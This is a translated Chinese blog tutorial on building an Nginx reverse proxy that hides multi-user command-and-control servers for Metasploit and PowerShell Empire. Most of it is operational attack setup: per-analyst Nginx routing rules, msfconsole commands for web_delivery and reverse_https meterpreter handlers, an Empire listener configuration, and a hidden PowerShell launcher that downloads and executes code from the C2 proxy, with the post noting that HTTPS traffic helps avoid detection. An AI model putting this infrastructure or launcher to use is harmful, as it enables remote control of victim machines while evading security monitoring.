-
-
[翻译]支持多工具多用户的HTTP代理工具
-
发表于: 2016-11-18 07:30 5361
-
图1:多用户多工具C2代理体系结构
Nginx 安装
开始前,在VPS或者你自己的服务器上启动你的Linux。在本教程中我选择使用在VPS上的Ubuntu 16.10。跟着这个教程来启动Nginx并使用受信任的SSL / TLS证书运行 : https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04. 我的服务器配置只让流量走443端口,80端口根本就没开。
Nginx需要配置,好让代理知道怎么处理传入连接,为了避免URL被爆破,每个分析人员分配一个GUID,你可以从这个网站生成一个:https://www.guidgenerator.com/,下列的GUID是我为三个分析人员生成的:
Analyst GUID Backend C2 IP Gregory Evans E0922BB0-684B-4ED3-967E-85D08880CFD5 1.2.3.4 Acid Burn 30061CD8-0CEE-4381-B3F8-B50DCACA4CC8 1.2.3.5 Elliot Alderson 6012A46E-C00C-4816-9DEB-7B2697667D92 1.2.3.6
Nginx需要一种方法来区分Metasploit的请求和Empire的请求。我创造性地提出使用m代表Metasploit,e代表Empire。世界上第一个到达Empire的黑客的一个C2请求看起来像:
https://myc2proxy.com/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/index.asp
既然我们的传入HTTP请求的语法已经确定,Nginx需要配置为重新路由每条请求到正确的分析人员的C2代理上,使用位于/etc/nginx/sites-enabled/default的Nginx配置文件的location指令可以完成。在这篇文章里我们将为每个分析人员设置四条location指令,最外层的指令将匹配分析人员的GUID,接下来的两个子位置指令将用于匹配请求到特定工具(比如:e对应Empire,m对应Metasploit)。Metasploit的location指令包含两条子location指令来匹配Metasploit内的特定模块和关联的监听器。下列的配置信息可以粘贴到位于 /etc/nginx/sites-enabled/default的Nginx配置文件的ssl server部分中:
#Analyst 1 location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ { proxy_redirect off; #Empire location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ { proxy_pass https://1.2.3.4:443; } #Metasploit location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ { #Metasploit exploit/multi/script/web_delivery location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery { proxy_pass https://1.2.3.4:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned { proxy_pass https://1.2.3.4:80; } } } #Analyst 2 location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ { proxy_redirect off; #Empire location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ { proxy_pass https://1.2.3.5:443; } #Metasploit location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ { #Metasploit exploit/multi/script/web_delivery location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery { proxy_pass https://1.2.3.5:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned { proxy_pass https://1.2.3.5:80; } } } #Analyst 3 location /6012A46E-C00C-4816-9DEB-7B2697667D92/ { proxy_redirect off; #Empire location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ { proxy_pass https://1.2.3.6:443; } #Metasploit location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ { #Metasploit exploit/multi/script/web_delivery location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery { proxy_pass https://1.2.3.6:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned { proxy_pass https://1.2.3.6:80; } } }
此时,C2代理应该启动并运行,只接受在443端口上的TLS连接。此配置完成后,C2工具需要配置为接受来自我们的C2代理的传入流量。
Metasploit安装
Metasploit有很多可用于建立到一条连接受害者计算机的C2连接的模块。我个人最喜欢的是使用exploit / multi / script / web_delivery模块作为启动器。我喜欢这个模块,因为它可以运行在受害计算机上,并将 meterpreter载入内存。这是理想的,因为你可以使用内置工具(即PowerShell),你不必传任何文件到受害计算机上。加载Metasploit模块并使用在Nginx配置文件(即Delivery)中使用的URIPATH进行配置。必须禁用关联的payload处理程序,因为它需要单独配置才能为其提供唯一的配置。配置此模块时,将payload设置为windows / x64 / meterpreter / reverse_https,并把LHOST和LPORT设置为C2代理服务器的地址和端口,而不是后端C2服务器。此外,设置LURI来匹配在Nginx中设置的指令,以匹配payload(即Pwned)。payload设置仍然必须配置,即使侦听器不会启动。 这是因为这些设置用于生成当模块被执行时显示在屏幕上的启动器命令。 可以将以下命令复制并粘贴到msfconsole中以配置和启动模块:
use exploit/multi/script/web_delivery set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery set DisablePayloadHandler true set SSL True set TARGET 2 set payload windows/x64/meterpreter/reverse_https set LHOST myc2proxy.com set LPORT 443 set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned run -j
图2:Metasploit web_delivery模块示例配置
当模块被执行时,包含启动器代码的字符串将被打印到屏幕上。注意:端口必须从8080更改为443.此设置无法覆盖 。 我们必须手动更改它,因为我们的C2代理只接受在443端口上的连接.启动字符串将如下所示(删除红色部分):
powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$o=new-object net.webclient;$o.proxy=[Net.WebRequest]::GetSystemWebProxy();$o.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $o.downloadstring('https://myc2proxy.com:8080/E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery');
必须为payload本身设置单独的处理程序,这是因为必须覆盖某些设置,以确保payload与C2代理通信,而不是直接与后端的C2服务器通信。 为此,将LHOST设置为0.0.0.0,将LPORT设置为80,或者是你想在后端C2服务器上打开的任何端口。 我们需要配置高级OverrideLHOST,OverrideLPORT和OverrideRequestHost设置,以确保payload直接与C2代理服务器通信。 可以将以下命令复制并粘贴到msfconsole中以配置和启动模块:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 80 set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned set OverrideLHOST myc2proxy.com set OverrideLPORT 443 set OverrideRequestHost true set ExitOnSession false run -j
图3:reverse_https payload示例配置
提醒:多个meterpreter传输可以被添加指向到多个C2代理上以防其中一个宕机。
Empire 安装
Empire是我最喜欢的C2工具之一。对Empire的代理设置而言,Empire比起Metasploit有更多的障碍需要克服。使用PowerShell Empire版本1,初始连接序列使用在empire.db的配置表中定义的STAGE0,STAGE1和STAGE2。 据我所知,没有办法从Empire CLI中更改它们,因此必须直接修改数据库。 但是,PowerShell Empire版本2(在本博文发布时处于测试阶段)不使用这个结构,并且初始回显和设置是在DefaultProfile侦听器属性中指定的页面上完成的。 我建议下载Empire版本2的2.0_beta分支。运行git下载beta版本的副本:
cd /opt;git clone -b 2.0_beta https://github.com/adaptivethreat/Empire.git
注意:在写这篇文章时,agent.ps1文件中有一个错误阻止DefaultProfile被正确设置。 已提交pull request。 取决于文章被阅读的时间,错误可能必须手动修复。
Empire新版本下载完后,启动应用程序。Empire没有像Metasploit那样的覆盖设置功能。无论Empire监听器创建在哪个端口,都必须跟C2代理正在监听的端口相同。因此,Empire必须通过HTTPS在443端口 上使用。 好消息是,主机设置可以设置为匿名C2代理的地址。非常重要的一点,DefaultProfile被修改为包含分析人员的GUID和工具标识符。 以下命令可以复制并粘贴到Empire中以设置监听器
listeners uselistener http set DefaultProfile /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/admin/get.php,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/news.asp,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko set Name EmpireC2 set CertPath /opt/Empire/data/empire.pem set Host https://myc2proxy.com set Port 443 execute launcher powershell
图4:Empire监听器示例配置
执行
现在,Nginx C2代理与分析人员的后端C2服务器配置在了一起。 在测试计算机上执行生成的启动程序之一,您将看到shell进入后端C2服务器。 为了增加安全措施,请将后端C2服务器配置为仅允许来自C2代理的连接。
结论
代理可用于保持后端服务匿名。 这在网络上执行命令和控制活动时非常有用。HTTPS连接在大多数网络上采用同时一般不被检查。这有助于安全分析人员进行安全监测时避免被发现。在主机名和/或IP由于检测而丢失的情况下,安全分析人员可以建立新的反向代理,并避免必须重新启动Metasploit / Empire服务。此外,单个主机名可以被团队的所有成员用于C2,而且允许每个分析人员拥有自己的后端C2服务器。Nginx是一个很好的工具,通过使用它的location指令允许多个工具和多个分析人员执行反向代理功能。
Analyst GUID Backend C2 IP Gregory Evans E0922BB0-684B-4ED3-967E-85D08880CFD5 1.2.3.4 Acid Burn 30061CD8-0CEE-4381-B3F8-B50DCACA4CC8 1.2.3.5 Elliot Alderson 6012A46E-C00C-4816-9DEB-7B2697667D92 1.2.3.6
#Analyst 1 location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ { proxy_redirect off; #Empire location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ { proxy_pass https://1.2.3.4:443; } #Metasploit location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ { #Metasploit exploit/multi/script/web_delivery location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery { proxy_pass https://1.2.3.4:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned { proxy_pass https://1.2.3.4:80; } } } #Analyst 2 location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ { proxy_redirect off; #Empire location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ { proxy_pass https://1.2.3.5:443; } #Metasploit location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ { #Metasploit exploit/multi/script/web_delivery location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery { proxy_pass https://1.2.3.5:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned { proxy_pass https://1.2.3.5:80; } } } #Analyst 3 location /6012A46E-C00C-4816-9DEB-7B2697667D92/ { proxy_redirect off; #Empire location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ { proxy_pass https://1.2.3.6:443; } #Metasploit location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ { #Metasploit exploit/multi/script/web_delivery location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery { proxy_pass https://1.2.3.6:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned { proxy_pass https://1.2.3.6:80; } } }
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-2-6 20:18
被kanxue编辑
,原因:
赞赏
他的文章
看原图
赞赏
雪币:
留言: